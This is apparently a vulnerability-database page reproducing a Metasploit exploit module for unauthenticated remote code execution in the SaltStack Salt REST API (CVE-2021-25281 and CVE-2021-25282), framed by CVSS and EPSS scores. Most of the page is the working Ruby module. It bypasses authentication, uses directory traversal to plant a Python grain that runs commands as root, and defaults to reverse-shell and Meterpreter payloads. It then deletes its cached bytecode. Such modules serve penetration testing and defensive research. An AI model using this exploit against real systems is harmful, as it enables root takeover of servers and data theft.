Lucene search

K
metasploitAlex Seymour, Christophe De La FuenteMSF:EXPLOIT-LINUX-HTTP-SALTSTACK_SALT_WHEEL_ASYNC_RCE-
HistoryMar 26, 2021 - 12:54 p.m.

SaltStack Salt API Unauthenticated RCE through wheel_async client

2021-03-2612:54:06
Alex Seymour, Christophe De La Fuente
www.rapid7.com
30

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.874 High

EPSS

Percentile

98.6%

This module leverages an authentication bypass and directory traversal vulnerabilities in Saltstack Salt’s REST API to execute commands remotely on the master as the root user. Every 60 seconds, salt-master service performs a maintenance process check that reloads and executes all the grains on the master, including custom grain modules in the Extension Module directory. So, this module simply creates a Python script at this location and waits for it to be executed. The time interval is set to 60 seconds by default but can be changed in the master configuration file with the loop_interval option. Note that, if an administrator executes commands locally on the master, the maintenance process check will also be performed. It has been fixed in the following installation packages: 3002.5, 3001.6 and 3000.8. Also, a patch is available for the following versions: 3002.2, 3001.4, 3000.6, 2019.2.8, 2019.2.5, 2018.3.5, 2017.7.8, 2016.11.10, 2016.11.6, 2016.11.5, 2016.11.3, 2016.3.8, 2016.3.6, 2016.3.4, 2015.8.13 and 2015.8.10. This module has been tested successfully against versions 3001.4, 3002 and 3002.2 on Ubuntu 18.04.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SaltStack Salt API Unauthenticated RCE through wheel_async client',
        'Description' => %q{
          This module leverages an authentication bypass and directory
          traversal vulnerabilities in Saltstack Salt's REST API to execute
          commands remotely on the `master` as the root user.

          Every 60 seconds, `salt-master` service performs a maintenance
          process check that reloads and executes all the `grains` on the
          `master`, including custom grain modules in the Extension Module
          directory. So, this module simply creates a Python script at this
          location and waits for it to be executed. The time interval is set to
          60 seconds by default but can be changed in the `master`
          configuration file with the `loop_interval` option. Note that, if an
          administrator executes commands locally on the `master`, the
          maintenance process check will also be performed.

          It has been fixed in the following installation packages: 3002.5,
          3001.6 and 3000.8.

          Also, a patch is available for the following versions: 3002.2,
          3001.4, 3000.6, 2019.2.8, 2019.2.5, 2018.3.5, 2017.7.8, 2016.11.10,
          2016.11.6, 2016.11.5, 2016.11.3, 2016.3.8, 2016.3.6, 2016.3.4,
          2015.8.13 and 2015.8.10.

          This module has been tested successfully against versions 3001.4,
          3002 and 3002.2 on Ubuntu 18.04.
        },
        'Author' => [
          'Alex Seymour',           # Original PoC
          'Christophe De La Fuente' # MSF Module
        ],
        'References' => [
          ['CVE', '2021-25281'], # Auth bypass
          ['CVE', '2021-25282'], # Directory traversal
          ['URL', 'https://saltproject.io/security_announcements/active-saltstack-cve-release-2021-feb-25/'],
          ['URL', 'https://github.com/Immersive-Labs-Sec/CVE-2021-25281/blob/main/cve-2021-25281.py']
        ],
        'DisclosureDate' => '2021-02-25',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :bourne,
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'WfsDelay' => 90, # The master's maintenance process check cycle is set to 60 sec. by default
          'SSL' => true     # Salt API uses HTTPS by default
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS] # Payload visible in log if set to DEBUG or TRACE level
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
              stdapi_fs_ls
              stdapi_fs_stat
            ]
          }
        }
      )
    )

    register_options([
      Opt::RPORT(8000),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new(
        'EXTMODSDIR',
        [
          true,
          'The Extension Module Directory ("extmods")',
          '/var/cache/salt/master/extmods'
        ]
      )
    ])
  end

  def check
    fun = 'config.values'
    res = send_request(fun: fun)

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    # Server: CherryPy/8.9.1
    unless res.headers['Server']&.match(%r{^CherryPy/[\d.]+$})
      return CheckCode::Unknown('Target does not appear to be running Salt API.')
    end

    if res.code == 200 && res.get_json_document['return']
      res_json = res.get_json_document['return'].first
      if res_json&.key?('tag') && res_json&.key?('jid')
        return CheckCode::Detected('Salt API responded as expected.')
      end
    end

    CheckCode::Safe('Unexpected Salt API response')
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager(background: true)
    end
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")

    @rand_basename = rand_text_alphanumeric(4..12)
    path = normalize_uri(datastore['EXTMODSDIR'], 'grains', "#{@rand_basename}.py")
    register_file_for_cleanup(path)

    cmd.gsub!("'", "\\\\'")
    data = <<~PYTHON
      import subprocess
      def #{rand_text_alpha(6..8)}():
          subprocess.Popen('#{cmd}', shell=True)
          return {}
    PYTHON

    send_request(data: data, path: path)
    vprint_status(
      "Waiting up to #{wfs_delay} seconds for the Salt maintenance process check "\
      'to trigger the payload (WfsDelay option).'
    )
  end

  def send_request(fun: 'pillar_roots.write', data: '', path: '')
    # https://docs.saltstack.com/en/latest/ref/netapi/all/salt.netapi.rest_cherrypy.html#post--run
    json = {
      'eauth' => 'auto',
      'client' => 'wheel_async',
      'fun' => fun
    }
    json['data'] = data unless data.empty?
    json['path'] = "../../../../../..#{path}" unless path.empty?

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'run'),
      'ctype' => 'application/json',
      'data' => json.to_json
    )
  end

  def path_exists?(session, path, is_dir: false)
    if session.type == 'meterpreter'
      path_exists = begin
        session.fs.file.stat(path)
      rescue StandardError
        nil
      end
      if is_dir
        return !!(path_exists && path_exists.directory?)
      else
        return !!(path_exists && path_exists.file?)
      end
    else
      path_exists = session.shell_command_token(
        "test #{is_dir ? '-d' : '-f'} \"#{path}\" && echo true"
      )
      return !!(path_exists && path_exists =~ /true/)
    end
  end

  def on_new_session(session)
    payload_instance.stop_handler
    super

    # The Python script is being cached in the "__pycache__" directory as a
    # compiled bytecode file (.pyc). This will need to be deleted to avoid
    # being executed over and over.
    path = normalize_uri(datastore['EXTMODSDIR'], 'grains', '__pycache__')
    if session.type == 'meterpreter'
      session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
      return unless path_exists?(session, path, is_dir: true)

      files = begin
        session.fs.dir.entries(path, "#{@rand_basename}*.pyc")
      rescue StandardError
        []
      end

      files.each do |file|
        file_path = normalize_uri(path, file)
        next unless path_exists?(session, file_path)

        session.fs.file.rm(file_path)

        if path_exists?(session, file_path)
          print_warning("Unable to delete #{file_path}")
        else
          print_good("Deleted #{file_path}")
        end
      end
    else
      return unless path_exists?(session, path, is_dir: true)

      files = session.shell_command_token(
        "find \"#{path}\" -maxdepth 1 -type f -name \"#{@rand_basename}*.pyc\""
      )

      files.each_line do |file|
        file.chomp!
        next unless path_exists?(session, file)

        session.shell_command_token("rm -f \"#{file}\" >/dev/null")

        if path_exists?(session, file)
          print_warning("Unable to delete #{file}")
        else
          print_good("Deleted #{file}")
        end
      end
    end
  end

end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.874 High

EPSS

Percentile

98.6%